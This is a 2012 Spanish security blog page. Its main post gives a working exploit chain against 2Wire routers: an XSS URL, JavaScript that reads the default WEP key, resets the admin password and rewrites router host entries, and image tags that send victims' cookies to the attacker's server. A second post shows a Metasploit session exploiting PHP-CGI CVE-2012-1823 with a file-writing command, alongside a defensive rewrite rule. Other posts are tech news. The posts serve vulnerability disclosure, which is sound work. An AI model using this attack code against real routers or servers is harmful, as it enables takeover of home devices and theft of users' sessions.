jueves, 24 de mayo de 2012

Robo de cookies por router vulnerable (caso 2Wire)

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.

El proceso de ataque sería el siguiente:
1. La víctima visita una página maliciosa con un módem vulnerable,
2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,
3. La página obliga a la víctima a realizar peticiones a los subdominios,
4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.

Los routers 2Wire han tenido múltiples  vulnerabilidades  en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:
1. Cross site scripting
2. Revelación de configuración (“url mágico”)
3. Reinicialización de contraseña con la clave WEP default

Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>


Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.

Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:

cfgpwn.js:

try {
    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");
} catch(e) {
    xmlhttp = new XMLHttpRequest()
}
xmlhttp.open("GET","/xslt?page=mgmt_data",false);
xmlhttp.send(null);
var info = xmlhttp.responseText;
var pass = "temporal";
var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:

xmlhttp.open("POST","/xslt");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);
xmlhttp.send(null);

Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:

for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);
    xmlhttp.send(null);
}


Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:


for (var i=0; i<dominios.length; i++) {
    dns=dominios[i];
    document.write('<img src=http://'+dns+'>');
}


Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:




Hay que entender que en este caso 2Wire ha publicado parches para todas estas vulnerabilidades hace tiempo, pero en muchas ocasiones no depende del usuario o fabricante el actualizar, depende del proveedor de servicio.



Contribución cortesía de Pedro “hkm ” Joaquín de Websec México 


Google adquiere Motorola Mobility


Desde el Blog de Google escrito por el mismo Larry Page, nos informan que el trato con Motorola Mobility, esos creadores del StarTAC, y de los que primero apoyaron a Android ahora forman parte de Google.


Después de lograr el visto buena de Europa, Estados Unidos y China, Google por fin pudo comprar la división móvil de Motorola, aunque Motorola seguirá trabajando independiente del gigante de la tecnología con su licencia de Android, esta compra ayudará a cargar el negocio móvil.

Seguramente Google pondrá toda la carne al asador con esta compra, extendiendo su rango de teléfonos Nexus, ahora sólo hay que esperar que Motorola pueda proveer el Hardware necesario para la próxima generación de smartphones.

Mucha gente ya no usa laptops ni PC para lo cual Google se tiene que preparar en palabras de Larry Page “muchas veces la gente tienda a sobre estimar el impacto de la tecnología en el corto plazo , pero subestiman el significado a largo plazo. Muchos de los usuarios que se conecten a partir hoy pueden nunca utilizar un PC, y el impacto de esta transición será tan profundo como lo será la habilidad de solo tocar y jugar con tu teléfono”.

Fuente : Google Official Blog

sábado, 19 de mayo de 2012

Grave vulnerabilidad en PHP-CGI permite ejecutar código remoto en Apache


Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.

Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.

Aunque el parámetro '-r', para ejecutar código PHP, es filtrado en php5-cgi, dependiendo de las variables de entorno, esta medida de seguridad puede evitarse. PHP eliminó por error el código que protegía ante este problema en 2004.

Ya existen módulos para Metasploit (use exploit/multi/http/php_cgi_arg_injection


$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf  exploit(php_cgi_arg_injection) > set RHOST 192.168.178.210
msf  exploit(php_cgi_arg_injection) > set TARGETURI /phpinfo.php
msf  exploit(php_cgi_arg_injection) > set PAYLOAD php/exec
msf  exploit(php_cgi_arg_injection) > set CMD echo \"owned\">/var/www/html/owned.html
msf  exploit(php_cgi_arg_injection) > exploit





Solucion

Ya existen módulos de la herramienta de pentesting y hacking metasploit que permiten explotar esta vulnerabilidad por lo que se recomienda actualizar cuanto antes. Se puede hacer a través del código fuente, aunque se recomienda instalarlo a través de los mecanismos de actualización de paquetes de Linux. Para sistemas Windows, se puede descargar de la web http://windows.php.net/download/.
Como alternativa, si no se puede actualizar, el fabricante propone las siguientes reglas del módulo mod_rewrite de Apache para bloquear las URLs maliciosas:

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

Fuente: http://cert.inteco.es/     -        Blackploit.com
Vídeo: http://eromang.zataz.com/

Referencias y más información: 
http://www.pentester.es/
http://www.elladodelmal.com/
http://packetstormsecurity.org/ 




[Vídeo] Nuevas funcionalidades de Armitage


Armitage es una herramienta, que hace aun más fácil y gráfico el uso de Metasploit, que surgio hace mas de un año, ahora tiene muchas más utilidades y mejoras. Tiempo atrás se tenía que instalar manualmente para usarlo, hoy viene por defecto con MSF.

Es así que  les quiero dejar un vídeo para que vean algunas de las nuevas características, y para que los que no lo conocen comiencen a familiarizarse con él.

En el vídeo se muestra 10 clientes obtenidos con Armitage después de la explotación de un servidor remoto, se ven diferentes funcionalidades de Armintage y al final del vídeo se muestra lo fácil que es la gestión de una base de datos con 5.000 hosts a través de esta aplicación


 Para más info pueden visitar la web oficial de Armitage o pueden consultar más vídeos en Youtube.

Fuente: Blackploit

martes, 28 de febrero de 2012

1 Millon por hackear a Google Chrome

El buscador quiere probar la seguridad de su browser dentro de la competencia Pwn2Own, en la que por ahora ha resultado invicto. Los ganadores deberán revelar los errores del navegador.


Cada año se desarrolla la competencia Pwn2Own, donde se les ofrece a investigadores de seguridad de todo el mundo la oportunidad de hackear navegadores por dinero.
Durante los últimos tres años, el único browser que salió del concurso ileso fue Google Chrome. Firefox, Safari e Internet Explorer fueron vulnerados todas las veces.
El megabuscador entra a este concurso para que los usuarios le señalen errores en Chrome y puedan mejorar las futuras versiones del mismo.
La idea es que a los que puedan vulnerar el navegador se les entregue un millón de dólares en diferentes categorías. Además del dinero, todos los ganadores recibirán una Chromebook de regalo.
Adicionalmente, los hackers deberán entregar un informe detallado sobre los errores en Chrome para que Google pueda arreglarlos.

Fuente: Infierno Hacker